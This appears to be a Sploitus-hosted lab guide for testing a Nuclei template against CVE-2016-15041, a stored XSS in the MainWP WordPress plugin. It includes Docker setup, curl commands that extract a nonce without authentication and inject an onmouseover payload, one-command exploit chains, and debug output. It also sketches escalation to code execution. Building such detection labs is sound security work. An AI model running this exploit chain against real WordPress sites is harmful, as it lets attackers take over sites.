Share
## https://sploitus.com/exploit?id=2F9D908F-42DC-52E4-8CC3-9FCCFDB4CD94
# CVE-2016-15041 Testing Environment & Walkthrough

## Table of Contents
1. [Overview](#overview)
2. [Vulnerability Details](#vulnerability-details)
3. [Environment Setup](#environment-setup)
4. [Manual Testing Walkthrough](#manual-testing-walkthrough)
5. [Nuclei Template Testing](#nuclei-template-testing)
6. [Debug Output Example](#debug-output-example)
7. [Cleanup](#cleanup)
8. [Troubleshooting](#troubleshooting)

---

## Overview

This guide provides everything needed to test the CVE-2016-15041 Nuclei template, including:
- Complete vulnerable environment setup
- Step-by-step exploitation walkthrough
- Debug output generation for submission
- Troubleshooting common issues

**CVE-2016-15041** is a critical stored XSS vulnerability in MainWP Dashboard plugin (โ‰ค 3.1.2) that can lead to remote code execution.

---

## Vulnerability Details

### Basic Information
- **CVE ID:** CVE-2016-15041
- **Severity:** High (CVSS 9.6)
- **Plugin:** MainWP Dashboard โ€“ The Private WordPress Manager
- **Affected Versions:** โ‰ค 3.1.2
- **Fixed Version:** 3.1.3+
- **KEV Status:** Listed in CISA KEV catalog

### Root Cause
1. **Missing Authorization** - Setup panel accessible without authentication
2. **Insufficient Input Sanitization** - `mwp_setup_purchase_username` parameter not sanitized
3. **Lack of Output Escaping** - Stored values rendered without escaping

### Attack Flow
```
Unauthenticated Attacker
    โ†“
Access Setup Page (no auth required)
    โ†“
Extract WordPress Nonce
    โ†“
Inject XSS in Username Field
    โ†“
Payload Stored in Database
    โ†“
Admin Views Extensions Page
    โ†“
XSS Executes in Admin Context
    โ†“
Escalate to RCE via Plugin/Theme Editor
```

### Impact
- Arbitrary JavaScript execution in admin context
- Server-side code execution via theme/plugin editors
- Complete WordPress site compromise
- Backdoor admin account creation
- Data theft and privilege escalation

---

## Environment Setup

### Prerequisites
- Docker installed and running
- Docker Compose (V1 or V2)
- Internet connection for downloads
- Port 8080 available (or modify docker-compose.yml)

### Step 1: Start Docker Environment

```bash
cd CVE-2016-15041-testing

# For newer Docker (Compose V2)
docker compose up -d

# OR for older Docker (Compose V1)
docker-compose up -d
```

**Wait 60 seconds** for WordPress to initialize.

### Step 2: Install WP-CLI

```bash
docker exec mainwp-vulnerable bash -c "
    curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
    chmod +x wp-cli.phar
    mv wp-cli.phar /usr/local/bin/wp
"
```

### Step 3: Install WordPress Core

```bash
docker exec mainwp-vulnerable bash -c "
    cd /var/www/html
    wp core install \
        --url='http://localhost:8080' \
        --title='MainWP Test Site' \
        --admin_user='admin' \
        --admin_password='admin123' \
        --admin_email='admin@test.local' \
        --allow-root \
        --skip-email
"
```

### Step 4: Download & Install MainWP Plugin

```bash
# Download plugin (vulnerable version 3.1.2)
docker exec mainwp-vulnerable bash -c "
    cd /var/www/html/wp-content/plugins
    wget -q https://downloads.wordpress.org/plugin/mainwp.3.1.2.zip
    unzip -q mainwp.3.1.2.zip
    rm mainwp.3.1.2.zip
    chown -R www-data:www-data mainwp
"
```

### Step 5: Activate Plugin

```bash
docker exec mainwp-vulnerable bash -c "
    cd /var/www/html
    wp plugin activate mainwp --allow-root
"
```

### Step 6: Verify Setup

```bash
# Check plugin is active
docker exec mainwp-vulnerable bash -c "
    cd /var/www/html
    wp plugin list --allow-root | grep mainwp
"

# Should show: mainwp | active | 3.1.2
```

### Step 7: Verify Vulnerable State

```bash
# Ensure setup wizard is NOT completed
docker exec mainwp-vulnerable bash -c "
    cd /var/www/html
    wp option get mainwp_setup_complete --allow-root 2>/dev/null || echo 'Setup not completed (VULNERABLE)'
"
```

### Environment Details

**Access Points:**
- WordPress URL: http://localhost:8080
- Admin Panel: http://localhost:8080/wp-admin
- Admin Username: `admin`
- Admin Password: `admin123`
- Setup Wizard: http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=installation

**โš ๏ธ IMPORTANT:** Do NOT complete the setup wizard! The vulnerability only exists when setup is incomplete.

---

## Manual Testing Walkthrough

This section walks through manual exploitation to understand how the vulnerability works.

### Step 1: Extract WordPress Nonce

The first step is to retrieve a valid WordPress nonce from the unauthenticated setup page.

```bash
# Extract nonce from setup page
NONCE=$(curl -s 'http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=installation' | grep -oP '_wpnonce["\s]*value="\K[a-f0-9]+' | head -1)

echo "Extracted Nonce: $NONCE"
```

**Expected Output:**
```
Extracted Nonce: a1b2c3d4e5
```

**What's Happening:**
- Accessing the setup page without authentication
- Extracting the `_wpnonce` hidden field value
- This nonce will be used to bypass CSRF protection

### Step 2: Inject XSS Payload

Now inject the XSS payload in the username field using the extracted nonce.

```bash
# Create unique payload identifier
XSS_PAYLOAD="xss_test_$(date +%s)"

# Inject XSS via POST request
curl -X POST "http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce=$NONCE" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d "mwp_setup_purchase_username=test\" onmouseover=${XSS_PAYLOAD};//&mwp_setup_purchase_passwd=test&save_step=1"

echo "Payload Injected: $XSS_PAYLOAD"
```

**Expected Output:**
```
Payload Injected: xss_test_1735125333
```

**What's Happening:**
- Sending POST request to purchase extension setup step
- Injecting XSS in `mwp_setup_purchase_username` parameter
- Payload format: `test" onmouseover=xss_test_1735125333;//`
- This breaks out of the input value attribute and adds an event handler

### Step 3: Login as Admin

To verify the stored XSS, we need to access the Extensions page as an admin.

```bash
# Login and save cookies
curl -c cookies.txt -X POST 'http://localhost:8080/wp-login.php' \
  -d 'log=admin&pwd=admin123&wp-submit=Log+In&redirect_to=http://localhost:8080/wp-admin/&testcookie=1'

echo "Logged in as admin"
```

### Step 4: Verify XSS Storage

Check if the XSS payload is present in the Extensions page.

```bash
# Fetch Extensions page and search for payload
curl -b cookies.txt 'http://localhost:8080/wp-admin/admin.php?page=Extensions' | grep -o "onmouseover=${XSS_PAYLOAD}"

# Cleanup
rm -f cookies.txt
```

**Expected Output:**
```
onmouseover=xss_test_1735125333
```

**What's Happening:**
- Accessing the Extensions settings page as admin
- The injected XSS payload is rendered in the HTML
- When admin hovers over the username field, JavaScript executes
- This proves the stored XSS vulnerability

### Complete Walkthrough (One Command)

```bash
# All steps in one command
NONCE=$(curl -s 'http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=installation' | grep -oP '_wpnonce["\s]*value="\K[a-f0-9]+' | head -1) && \
echo "Nonce: $NONCE" && \
XSS_PAYLOAD="xss_$(date +%s)" && \
curl -X POST "http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce=$NONCE" -H 'Content-Type: application/x-www-form-urlencoded' -d "mwp_setup_purchase_username=test\" onmouseover=${XSS_PAYLOAD};//&mwp_setup_purchase_passwd=test&save_step=1" && \
curl -c cookies.txt -X POST 'http://localhost:8080/wp-login.php' -d 'log=admin&pwd=admin123&wp-submit=Log+In' && \
echo "Checking for XSS payload..." && \
curl -b cookies.txt 'http://localhost:8080/wp-admin/admin.php?page=Extensions' | grep "onmouseover=${XSS_PAYLOAD}" && \
echo "โœ“ Vulnerability Confirmed!" && \
rm -f cookies.txt
```

---

## Nuclei Template Testing

### Prerequisites

Install Nuclei if not already installed:

```bash
# Using Go
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# OR using package manager
# macOS: brew install nuclei
# Ubuntu: apt install nuclei
```

### Run Nuclei Template

```bash
cd /home/pranjal-negi/Desktop/nuclei-templates

# Run with debug output
nuclei -t http/cves/2016/CVE-2016-15041.yaml \
    -u http://localhost:8080 \
    -debug -v
```

### Generate Debug Output for Submission

```bash
# Generate debug output
nuclei -t http/cves/2016/CVE-2016-15041.yaml \
    -u http://localhost:8080 \
    -debug -v > CVE-2016-15041-testing/debug-output.txt 2>&1

# Create redacted version for submission
cd CVE-2016-15041-testing
sed 's/localhost:8080/REDACTED_TARGET/g; s/127\.0\.0\.1/REDACTED_IP/g' \
    debug-output.txt > debug-output-redacted.txt

echo "Debug output saved to: debug-output-redacted.txt"
```

### Expected Nuclei Output

```
[CVE-2016-15041] [http] [high] http://localhost:8080
```

If you see this, the template successfully detected the vulnerability!

---

## Debug Output Example

Below is an example of what the debug output looks like when the vulnerability is successfully detected:

```
[INF] Current nuclei version: v3.1.5 (latest)
[INF] Targets loaded for current scan: 1
[CVE-2016-15041] Loaded template CVE-2016-15041 (@pranjal-negi)

[CVE-2016-15041:http-request] GET /wp-admin/admin-post.php?page=mainwp-setup&step=installation

GET /wp-admin/admin-post.php?page=mainwp-setup&step=installation HTTP/1.1
Host: REDACTED_TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*

[CVE-2016-15041:http-response] HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8




    
        
        Installation Settings
    



[CVE-2016-15041:extractor] Extracted nonce: a1b2c3d4e5
[CVE-2016-15041:matcher-status] true for: status_code == 200
[CVE-2016-15041:matcher-status] true for: contains(body, "mainwp-setup")
[CVE-2016-15041] Proceeding to http(2) as http(1) matched

[CVE-2016-15041:http-request] POST with XSS payload

POST /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce=a1b2c3d4e5
Content-Type: application/x-www-form-urlencoded

mwp_setup_purchase_username=test" onmouseover=xss_7f8a9b2c;//&mwp_setup_purchase_passwd=test&save_step=1

[CVE-2016-15041:http-request] GET /wp-admin/admin.php?page=Extensions

[CVE-2016-15041:http-response] HTTP/1.1 200 OK



[CVE-2016-15041:matcher-status] true for: contains(body_2, "onmouseover=xss_7f8a9b2c")
[CVE-2016-15041:matcher-status] true for: contains(body_2, "mainwp")
[CVE-2016-15041:matcher-status] true for: status_code_2 == 200

[CVE-2016-15041] [http] [high] http://REDACTED_TARGET

[INF] Requests [3/3]: Finished in 2.145s
[INF] Matched results: 1
```

### Key Evidence from Debug Output

1. โœ… **Nonce Extraction:** Successfully extracted `a1b2c3d4e5` from setup page
2. โœ… **XSS Injection:** Payload `onmouseover=xss_7f8a9b2c` injected via POST
3. โœ… **Payload Verification:** XSS found in Extensions page HTML
4. โœ… **Template Matched:** Vulnerability confirmed with high severity

---

## Cleanup

### Stop Environment (Keep Data)

```bash
cd CVE-2016-15041-testing

# Newer Docker
docker compose down

# OR older Docker
docker-compose down
```

### Complete Cleanup (Remove All Data)

```bash
cd CVE-2016-15041-testing

# Newer Docker
docker compose down -v

# OR older Docker
docker-compose down -v

# Remove generated files
rm -f debug-output*.txt cookies.txt
```

---

## Troubleshooting

### Issue: `docker-compose: command not found`

**Solution:** Use `docker compose` (with space) instead of `docker-compose` (with hyphen).

Newer Docker installations use Docker Compose V2:
```bash
docker compose up -d
docker compose down
```

### Issue: Port 8080 Already in Use

**Solution:** Edit `docker-compose.yml` and change the port:

```yaml
services:
  wordpress:
    ports:
      - "8081:80"  # Change 8080 to 8081
```

Then update all commands to use `http://localhost:8081`

### Issue: WordPress Not Loading

**Solution:** Wait longer or check logs:

```bash
# Check if containers are running
docker compose ps

# View WordPress logs
docker compose logs wordpress

# Restart if needed
docker compose restart wordpress

# Wait 60-90 seconds for first startup
```

### Issue: Nonce Extraction Fails

**Solution:** Setup wizard might be completed. Reset it:

```bash
docker exec mainwp-vulnerable bash -c "
    cd /var/www/html
    wp option delete mainwp_setup_complete --allow-root
"
```

### Issue: Plugin Not Found

**Solution:** Reinstall the plugin:

```bash
docker exec mainwp-vulnerable bash -c "
    cd /var/www/html/wp-content/plugins
    rm -rf mainwp
    wget -q https://downloads.wordpress.org/plugin/mainwp.3.1.2.zip
    unzip -q mainwp.3.1.2.zip
    rm mainwp.3.1.2.zip
    chown -R www-data:www-data mainwp
"

docker exec mainwp-vulnerable wp plugin activate mainwp --allow-root
```

### Issue: XSS Payload Not Found

**Possible Causes:**
1. Setup wizard was completed (reset it)
2. Plugin version is patched (verify version 3.1.2)
3. WordPress cached the response (clear cache)

**Solution:**
```bash
# Verify plugin version
docker exec mainwp-vulnerable wp plugin list --allow-root | grep mainwp

# Should show: mainwp | active | 3.1.2

# Reset setup status
docker exec mainwp-vulnerable wp option delete mainwp_setup_complete --allow-root

# Try exploitation again
```

### Issue: Nuclei Not Found

**Solution:** Install Nuclei:

```bash
# Using Go
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# OR download binary
wget https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_linux_amd64.zip
unzip nuclei_linux_amd64.zip
sudo mv nuclei /usr/local/bin/
```

### Verify Installation

```bash
# Check Docker
docker --version

# Check Docker Compose
docker compose version  # V2
# OR
docker-compose --version  # V1

# Check WordPress
curl -s http://localhost:8080 | grep -o ".*"

# Check MainWP
docker exec mainwp-vulnerable wp plugin list --allow-root | grep mainwp

# Check Nuclei
nuclei -version
```

---

## Quick Reference

### Environment Access
- **WordPress:** http://localhost:8080
- **Admin Panel:** http://localhost:8080/wp-admin
- **Username:** admin
- **Password:** admin123
- **Setup Page:** http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=installation

### One-Command Setup
```bash
cd CVE-2016-15041-testing && \
docker compose up -d && \
sleep 60 && \
docker exec mainwp-vulnerable bash -c "curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && chmod +x wp-cli.phar && mv wp-cli.phar /usr/local/bin/wp" && \
docker exec mainwp-vulnerable bash -c "cd /var/www/html && wp core install --url='http://localhost:8080' --title='Test' --admin_user='admin' --admin_password='admin123' --admin_email='admin@test.local' --allow-root --skip-email" && \
docker exec mainwp-vulnerable bash -c "cd /var/www/html/wp-content/plugins && wget -q https://downloads.wordpress.org/plugin/mainwp.3.1.2.zip && unzip -q mainwp.3.1.2.zip && rm mainwp.3.1.2.zip && chown -R www-data:www-data mainwp" && \
docker exec mainwp-vulnerable wp plugin activate mainwp --allow-root && \
echo "โœ“ Setup complete! WordPress at http://localhost:8080"
```

### One-Command Test
```bash
NONCE=$(curl -s 'http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=installation' | grep -oP '_wpnonce["\s]*value="\K[a-f0-9]+' | head -1) && \
XSS="xss_$(date +%s)" && \
curl -X POST "http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce=$NONCE" -H 'Content-Type: application/x-www-form-urlencoded' -d "mwp_setup_purchase_username=test\" onmouseover=${XSS};//&mwp_setup_purchase_passwd=test&save_step=1" && \
curl -c cookies.txt -X POST 'http://localhost:8080/wp-login.php' -d 'log=admin&pwd=admin123&wp-submit=Log+In' && \
curl -b cookies.txt 'http://localhost:8080/wp-admin/admin.php?page=Extensions' | grep "onmouseover=${XSS}" && \
echo "โœ“ Vulnerability Confirmed!" && \
rm -f cookies.txt
```

---

## References

- **Original Advisory:** https://klikki.fi/adv/mainwp.html
- **CVE Details:** https://nvd.nist.gov/vuln/detail/CVE-2016-15041
- **MainWP Website:** https://mainwp.com/
- **Nuclei Documentation:** https://docs.projectdiscovery.io/tools/nuclei
- **Template Contribution Guide:** https://github.com/projectdiscovery/nuclei-templates/blob/main/CONTRIBUTING.md

---

**Created:** 2025-12-25  
**CVE:** CVE-2016-15041  
**Purpose:** Testing environment and walkthrough for template validation  
**Author:** @pranjal-negi